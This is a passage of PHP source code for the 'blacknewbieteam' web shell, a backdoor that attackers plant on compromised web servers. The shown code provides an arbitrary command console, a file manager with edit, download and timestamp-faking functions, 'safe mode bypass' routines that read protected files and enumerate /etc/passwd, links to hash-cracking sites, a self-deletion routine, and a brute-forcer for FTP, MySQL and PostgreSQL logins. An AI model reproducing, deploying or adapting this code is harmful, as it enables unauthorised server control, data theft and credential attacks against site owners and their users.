  617.                     }
  618.                     foreach($_SESSION['f'] as $f)
  619.                         copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  620.                 } elseif($_SESSION['act'] == 'move') {
  621.                     function move_paste($c,$s,$d){
  622.                         if(is_dir($c.$s)){
  623.                             mkdir($d.$s);
  624.                             $h = @opendir($c.$s);
  625.                             while (($f = @readdir($h)) !== false)
  626.                                 if (($f != ".") and ($f != ".."))
  627.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  628.                         } elseif(@is_file($c.$s))
  629.                             @copy($c.$s, $d.$s);
  630.                     }
  631.                     foreach($_SESSION['f'] as $f)
  632.                         @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  633.                 } elseif($_SESSION['act'] == 'zip') {
  634.                     if(class_exists('ZipArchive')) {
  635.                         $zip = new ZipArchive();
  636.                         if ($zip->open($_POST['p2'], 1)) {
  637.                             chdir($_SESSION['c']);
  638.                             foreach($_SESSION['f'] as $f) {
  639.                                 if($f == '..')
  640.                                     continue;
  641.                                 if(@is_file($_SESSION['c'].$f))
  642.                                     $zip->addFile($_SESSION['c'].$f, $f);
  643.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  644.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  645.                                     foreach ($iterator as $key=>$value) {
  646.                                         $zip->addFile(realpath($key), $key);
  647.                                     }
  648.                                 }
  649.                             }
  650.                             chdir($GLOBALS['cwd']);
  651.                             $zip->close();
  652.                         }
  653.                     }
  654.                 } elseif($_SESSION['act'] == 'unzip') {
  655.                     if(class_exists('ZipArchive')) {
  656.                         $zip = new ZipArchive();
  657.                         foreach($_SESSION['f'] as $f) {
  658.                             if($zip->open($_SESSION['c'].$f)) {
  659.                                 $zip->extractTo($GLOBALS['cwd']);
  660.                                 $zip->close();
  661.                             }
  662.                         }
  663.                     }
  664.                 } elseif($_SESSION['act'] == 'tar') {
  665.                     chdir($_SESSION['c']);
  666.                     $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  667.                     BNTFEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  668.                     chdir($GLOBALS['cwd']);
  669.                 }
  670.                 unset($_SESSION['f']);
  671.                 break;
  672.             default:
  673.                 if(!empty($_POST['p1'])) {
  674.                     $_SESSION['act'] = @$_POST['p1'];
  675.                     $_SESSION['f'] = @$_POST['f'];
  676.                     foreach($_SESSION['f'] as $k => $f)
  677.                         $_SESSION['f'][$k] = urldecode($f);
  678.                     $_SESSION['c'] = @$_POST['c'];
  679.                 }
  680.                 break;
  681.         }
  682.     }
  683.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  684.     if($dirContent === false) { echo 'Can\'t open this folder!';BNTFFooter(); return; }
  685.     global $sort;
  686.     $sort = array('name', 1);
  687.     if(!empty($_POST['p1'])) {
  688.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  689.             $sort = array($match[1], (int)$match[2]);
  690.     }
  691. echo "<script>
  692.     function sa() {
  693.         for(i=0;i<d.files.elements.length;i++)
  694.             if(d.files.elements[i].type == 'checkbox')
  695.                 d.files.elements[i].checked = d.files.elements[0].checked;
  696.     }
  697. </script>
  698. <left>
  699. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  700. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  701.     $dirs = $files = array();
  702.     $n = count($dirContent);
  703.     for($i=0;$i<$n;$i++) {
  704.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  705.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  706.         $tmp = array('name' => $dirContent[$i],
  707.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  708.                      'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  709.                      'perms' => BNTFPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  710.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  711.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  712.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  713.                     );
  714.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  715.             $files[] = array_merge($tmp, array('type' => 'file'));
  716.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  717.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  718.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  719.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  720.     }
  721.     $GLOBALS['sort'] = $sort;
  722.     function BNTFCmp($a, $b) {
  723.         if($GLOBALS['sort'][0] != 'size')
  724.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  725.         else
  726.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  727.     }
  728.     usort($files, "BNTFCmp");
  729.     usort($dirs, "BNTFCmp");
  730.     $files = array_merge($dirs, $files);
  731.     $l = 0;
  732.     foreach($files as $f) {
  733.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?BNTFViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  734.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  735.         $l = $l?0:1;
  736.     }
  737.     echo "<tr><td colspan=7>
  738.     <input type=hidden name=a value='FilesMan'>
  739.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  740.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  741.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  742.     if(class_exists('ZipArchive'))
  743.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  744.     echo "<option value='tar'>Compress (tar.gz)</option>";
  745.     if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  746.         echo "<option value='paste'>Paste / Compress</option>";
  747.     echo "</select>&nbsp;";
  748.     if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
  749.         echo "file name: <input type=text name=p2 value='BNTF_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  750.     echo "<input type='submit' value='>>'></td></tr></form></left></table></div>";
  751.     BNTFFooter();
  752. }
  753.  
  754. function actionStringTools() {
  755.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  756.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  757.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  758.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  759.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  760.     $stringTools = array(
  761.         'Base64 encode' => 'base64_encode',
  762.         'Base64 decode' => 'base64_decode',
  763.         'Url encode' => 'urlencode',
  764.         'Url decode' => 'urldecode',
  765.         'Full urlencode' => 'full_urlencode',
  766.         'md5 hash' => 'md5',
  767.         'sha1 hash' => 'sha1',
  768.         'crypt' => 'crypt',
  769.         'CRC32' => 'crc32',
  770.         'ASCII to HEX' => 'ascii2hex',
  771.         'HEX to ASCII' => 'hex2ascii',
  772.         'HEX to DEC' => 'hexdec',
  773.         'HEX to BIN' => 'hex2bin',
  774.         'DEC to HEX' => 'dechex',
  775.         'DEC to BIN' => 'decbin',
  776.         'BIN to HEX' => 'binhex',
  777.         'BIN to DEC' => 'bindec',
  778.         'String to lower case' => 'strtolower',
  779.         'String to upper case' => 'strtoupper',
  780.         'Htmlspecialchars' => 'htmlspecialchars',
  781.         'String length' => 'strlen',
  782.     );
  783.     if(isset($_POST['ajax'])) {
  784.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  785.         ob_start();
  786.         if(in_array($_POST['p1'], $stringTools))
  787.             echo $_POST['p1']($_POST['p2']);
  788.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  789.         echo strlen($temp), "\n", $temp;
  790.         exit;
  791.     }
  792.     BNTFHeader();
  793.     echo '<div class=content><h1>String conversions</h1>';
  794.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  795.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  796.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  797.     foreach($stringTools as $k => $v)
  798.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  799.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  800.     if(!empty($_POST['p1'])) {
  801.         if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  802.     }
  803.     echo"</pre></div><br><div class=content><h1>Search text in files:</h1>
  804.         <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  805.             <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  806.             <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  807.             <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  808.             <tr><td></td><td><input type='submit' value='>>'></td></tr>
  809.             </table></form>";
  810.  
  811.     function BNTFRecursiveGlob($path) {
  812.         if(substr($path, -1) != '/')
  813.             $path.='/';
  814.         $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  815.         if(is_array($paths)&&@count($paths)) {
  816.             foreach($paths as $item) {
  817.                 if(@is_dir($item)){
  818.                     if($path!=$item)
  819.                         BNTFRecursiveGlob($item);
  820.                 } else {
  821.                     if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  822.                         echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  823.                 }
  824.             }
  825.         }
  826.     }
  827.     if(@$_POST['p3'])
  828.         BNTFRecursiveGlob($_POST['c']);
  829.     echo "</div><br><div class=content><h1>Search for hash:</h1>
  830.         <form method='post' target='_blank' name='hf'>
  831.             <input type='text' name='hash' style='width:200px;'><br>
  832.             <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  833.             <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  834.             <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  835.             <input type='button' value='md5.blacknoize.com' onclick=\"document.hf.action='http://md5.blacknoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  836.             <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  837.         </form></div>";
  838.     BNTFFooter();
  839. }
  840.  
  841. function actionFilesTools() {
  842.     if( isset($_POST['p1']) )
  843.         $_POST['p1'] = urldecode($_POST['p1']);
  844.     if(@$_POST['p2']=='download') {
  845.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  846.             ob_start("ob_gzhandler", 4096);
  847.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  848.             if (function_exists("mime_content_type")) {
  849.                 $type = @mime_content_type($_POST['p1']);
  850.                 header("Content-Type: " . $type);
  851.             } else
  852.                 header("Content-Type: application/octet-stream");
  853.             $fp = @fopen($_POST['p1'], "r");
  854.             if($fp) {
  855.                 while(!@feof($fp))
  856.                     echo @fread($fp, 1024);
  857.                 fclose($fp);
  858.             }
  859.         }exit;
  860.     }
  861.     if( @$_POST['p2'] == 'mkfile' ) {
  862.         if(!file_exists($_POST['p1'])) {
  863.             $fp = @fopen($_POST['p1'], 'w');
  864.             if($fp) {
  865.                 $_POST['p2'] = "edit";
  866.                 fclose($fp);
  867.             }
  868.         }
  869.     }
  870.     BNTFHeader();
  871.     echo '<div class=content><h1>File tools</h1>';
  872.     if( !file_exists(@$_POST['p1']) ) {
  873.         echo 'File not exists';
  874.         BNTFFooter();
  875.         return;
  876.     }
  877.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  878.     if(!$uid) {
  879.         $uid['name'] = @fileowner($_POST['p1']);
  880.         $gid['name'] = @filegroup($_POST['p1']);
  881.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  882.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?BNTFViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.BNTFPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  883.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  884.     if( empty($_POST['p2']) )
  885.         $_POST['p2'] = 'view';
  886.     if( is_file($_POST['p1']) )
  887.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  888.     else
  889.         $m = array('Chmod', 'Rename', 'Touch');
  890.     foreach($m as $v)
  891.         echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  892.     echo '<br><br>';
  893.     switch($_POST['p2']) {
  894.         case 'view':
  895.             echo '<pre class=ml1>';
  896.             $fp = @fopen($_POST['p1'], 'r');
  897.             if($fp) {
  898.                 while( !@feof($fp) )
  899.                     echo htmlspecialchars(@fread($fp, 1024));
  900.                 @fclose($fp);
  901.             }
  902.             echo '</pre>';
  903.             break;
  904.         case 'highlight':
  905.             if( @is_readable($_POST['p1']) ) {
  906.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  907.                 $code = @highlight_file($_POST['p1'],true);
  908.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  909.             }
  910.             break;
  911.         case 'chmod':
  912.             if( !empty($_POST['p3']) ) {
  913.                 $perms = 0;
  914.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  915.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  916.                 if(!@chmod($_POST['p1'], $perms))
  917.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  918.             }
  919.             clearstatcache();
  920.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  921.             break;
  922.         case 'edit':
  923.             if( !is_writable($_POST['p1'])) {
  924.                 echo 'File isn\'t writeable';
  925.                 break;
  926.             }
  927.             if( !empty($_POST['p3']) ) {
  928.                 $time = @filemtime($_POST['p1']);
  929.                 $_POST['p3'] = substr($_POST['p3'],1);
  930.                 $fp = @fopen($_POST['p1'],"w");
  931.                 if($fp) {
  932.                     @fwrite($fp,$_POST['p3']);
  933.                     @fclose($fp);
  934.                     echo 'Saved!<br><script>p3_="";</script>';
  935.                     @touch($_POST['p1'],$time,$time);
  936.                 }
  937.             }
  938.             echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  939.             $fp = @fopen($_POST['p1'], 'r');
  940.             if($fp) {
  941.                 while( !@feof($fp) )
  942.                     echo htmlspecialchars(@fread($fp, 1024));
  943.                 @fclose($fp);
  944.             }
  945.             echo '</textarea><input type=submit value=">>"></form>';
  946.             break;
  947.         case 'hexdump':
  948.             $c = @file_get_contents($_POST['p1']);
  949.             $n = 0;
  950.             $h = array('00000000<br>','','');
  951.             $len = strlen($c);
  952.             for ($i=0; $i<$len; ++$i) {
  953.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  954.                 switch ( ord($c[$i]) ) {
  955.                     case 0:  $h[2] .= ' '; break;
  956.                     case 9:  $h[2] .= ' '; break;
  957.                     case 10: $h[2] .= ' '; break;
  958.                     case 13: $h[2] .= ' '; break;
  959.                     default: $h[2] .= $c[$i]; break;
  960.                 }
  961.                 $n++;
  962.                 if ($n == 32) {
  963.                     $n = 0;
  964.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  965.                     $h[1] .= '<br>';
  966.                     $h[2] .= "\n";
  967.                 }
  968.             }
  969.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#ffffff><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#ffffff><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  970.             break;
  971.         case 'rename':
  972.             if( !empty($_POST['p3']) ) {
  973.                 if(!@rename($_POST['p1'], $_POST['p3']))
  974.                     echo 'Can\'t rename!<br>';
  975.                 else
  976.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  977.             }
  978.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  979.             break;
  980.         case 'touch':
  981.             if( !empty($_POST['p3']) ) {
  982.                 $time = strtotime($_POST['p3']);
  983.                 if($time) {
  984.                     if(!touch($_POST['p1'],$time,$time))
  985.                         echo 'Fail!';
  986.                     else
  987.                         echo 'Touched!';
  988.                 } else echo 'Bad time format!';
  989.             }
  990.             clearstatcache();
  991.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  992.             break;
  993.     }
  994.     echo '</div>';
  995.     BNTFFooter();
  996. }
  997.  
  998. function actionSafeMode() {
  999.     $temp='';
  1000.     ob_start();
  1001.     switch($_POST['p1']) {
  1002.         case 1:
  1003.             $temp=@tempnam($test, 'cx');
  1004.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1005.                 echo @file_get_contents($temp);
  1006.                 unlink($temp);
  1007.             } else
  1008.                 echo 'Sorry... Can\'t open file';
  1009.             break;
  1010.         case 2:
  1011.             $files = glob($_POST['p2'].'*');
  1012.             if( is_array($files) )
  1013.                 foreach ($files as $filename)
  1014.                     echo $filename."\n";
  1015.             break;
  1016.         case 3:
  1017.             $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  1018.             curl_exec($ch);
  1019.             break;
  1020.         case 4:
  1021.             ini_restore("safe_mode");
  1022.             ini_restore("open_basedir");
  1023.             include($_POST['p2']);
  1024.             break;
  1025.         case 5:
  1026.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1027.                 $uid = @posix_getpwuid($_POST['p2']);
  1028.                 if ($uid)
  1029.                     echo join(':',$uid)."\n";
  1030.             }
  1031.             break;
  1032.     }
  1033.     $temp = ob_get_clean();
  1034.     BNTFHeader();
  1035.     echo '<div class=content><h1>Safe mode bypass</h1>';
  1036.     echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  1037.     if($temp)
  1038.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1039.     echo '</div>';
  1040.     BNTFFooter();
  1041. }
  1042.  
  1043. function actionConsole() {
  1044.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1045.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1046.         $_POST['p1'] .= ' 2>&1';
  1047.     } elseif(!empty($_POST['p1']))
  1048.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1049.  
  1050.     if(isset($_POST['ajax'])) {
  1051.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1052.         ob_start();
  1053.         echo "d.cf.cmd.value='';\n";
  1054.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".BNT($_POST['p1']),"\n\r\t\\'\0"));
  1055.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1056.             if(@chdir($match[1])) {
  1057.                 $GLOBALS['cwd'] = @getcwd();
  1058.                 echo "c_='".$GLOBALS['cwd']."';";
  1059.             }
  1060.         }
  1061.         echo "d.cf.output.value+='".$temp."';";
  1062.         echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1063.         $temp = ob_get_clean();
  1064.         echo strlen($temp), "\n", $temp;
  1065.         exit;
  1066.     }
  1067.     BNTFHeader();
  1068.     echo "<script>
  1069. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1070. var cmds = new Array('');
  1071. var cur = 0;
  1072. function kp(e) {
  1073.     var n = (window.Event) ? e.which : e.keyCode;
  1074.     if(n == 38) {
  1075.         cur--;
  1076.         if(cur>=0)
  1077.             document.cf.cmd.value = cmds[cur];
  1078.         else
  1079.             cur++;
  1080.     } else if(n == 40) {
  1081.         cur++;
  1082.         if(cur < cmds.length)
  1083.             document.cf.cmd.value = cmds[cur];
  1084.         else
  1085.             cur--;
  1086.     }
  1087. }
  1088. function add(cmd) {
  1089.     cmds.pop();
  1090.     cmds.push(cmd);
  1091.     cmds.push('');
  1092.     cur = cmds.length-1;
  1093. }
  1094. </script>";
  1095.     echo '<div class=content><h1>Console</h1><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1096.     foreach($GLOBALS['aliases'] as $n => $v) {
  1097.         if($v == '') {
  1098.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1099.             continue;
  1100.         }
  1101.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1102.     }
  1103.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1104.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1105.     echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> blackirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1106.     if(!empty($_POST['p1'])) {
  1107.         echo htmlspecialchars("$ ".$_POST['p1']."\n".BNT($_POST['p1']));
  1108.     }
  1109.     echo '</textarea><table style="border:1px solid #ffffff;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1110.     echo '</form></div><script>d.cf.cmd.focus();</script>';
  1111.     BNTFFooter();
  1112. }
  1113.  
  1114. function actionLogout() {
  1115.     session_destroy();
  1116.     die('powered by blacknewbieteam');
  1117. }
  1118.  
  1119. function actionSelfRemove() {
  1120.  
  1121.     if($_POST['p1'] == 'yes')
  1122.         if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1123.             die('Shell has been removed');
  1124.         else
  1125.             echo 'unlink error!';
  1126.     if($_POST['p1'] != 'yes')
  1127.         BNTFHeader();
  1128.     echo '<div class=content><h1>Suicide</h1>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1129.     BNTFFooter();
  1130. }
  1131.  
  1132. function actionBruteforce() {
  1133.     BNTFHeader();
  1134.     if( isset($_POST['proto']) ) {
  1135.         echo '<div class=content><h1>Results</h1><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1136.         if( $_POST['proto'] == 'ftp' ) {
  1137.             function bruteForce($ip,$port,$login,$pass) {
  1138.                 $fp = @ftp_connect($ip, $port?$port:21);
  1139.                 if(!$fp) return false;
  1140.                 $res = @ftp_login($fp, $login, $pass);
  1141.                 @ftp_close($fp);
  1142.                 return $res;
  1143.             }
  1144.         } elseif( $_POST['proto'] == 'mysql' ) {
  1145.             function bruteForce($ip,$port,$login,$pass) {
  1146.                 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1147.                 @mysql_close($res);
  1148.                 return $res;
  1149.             }
  1150.         } elseif( $_POST['proto'] == 'pgsql' ) {
  1151.             function bruteForce($ip,$port,$login,$pass) {
  1152.                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1153.                 $res = @pg_connect($str);
  1154.                 @pg_close($res);
  1155.                 return $res;
  1156.             }
  1157.         }
  1158.         $success = 0;
  1159.         $attempts = 0;
  1160.         $server = explode(":", $_POST['server']);
  1161.         if($_POST['type'] == 1) {
  1162.             $temp = @file('/etc/passwd');
  1163.             if( is_array($temp) )
  1164.                 foreach($temp as $line) {
  1165.                     $line = explode(":", $line);
  1166.                     ++$attempts;
  1167.                     if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1168.                         $success++;
  1169.                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1170.                     }
  1171.                     if(@$_POST['reverse']) {
  1172.                         $tmp = "";
  1173.                         for($i=strlen($line[0])-1; $i>=0; --$i)
  1174.                             $tmp .= $line[0][$i];
  1175.                         ++$attempts;
  1176.                         if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1177.                             $success++;
  1178.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1179.                         }
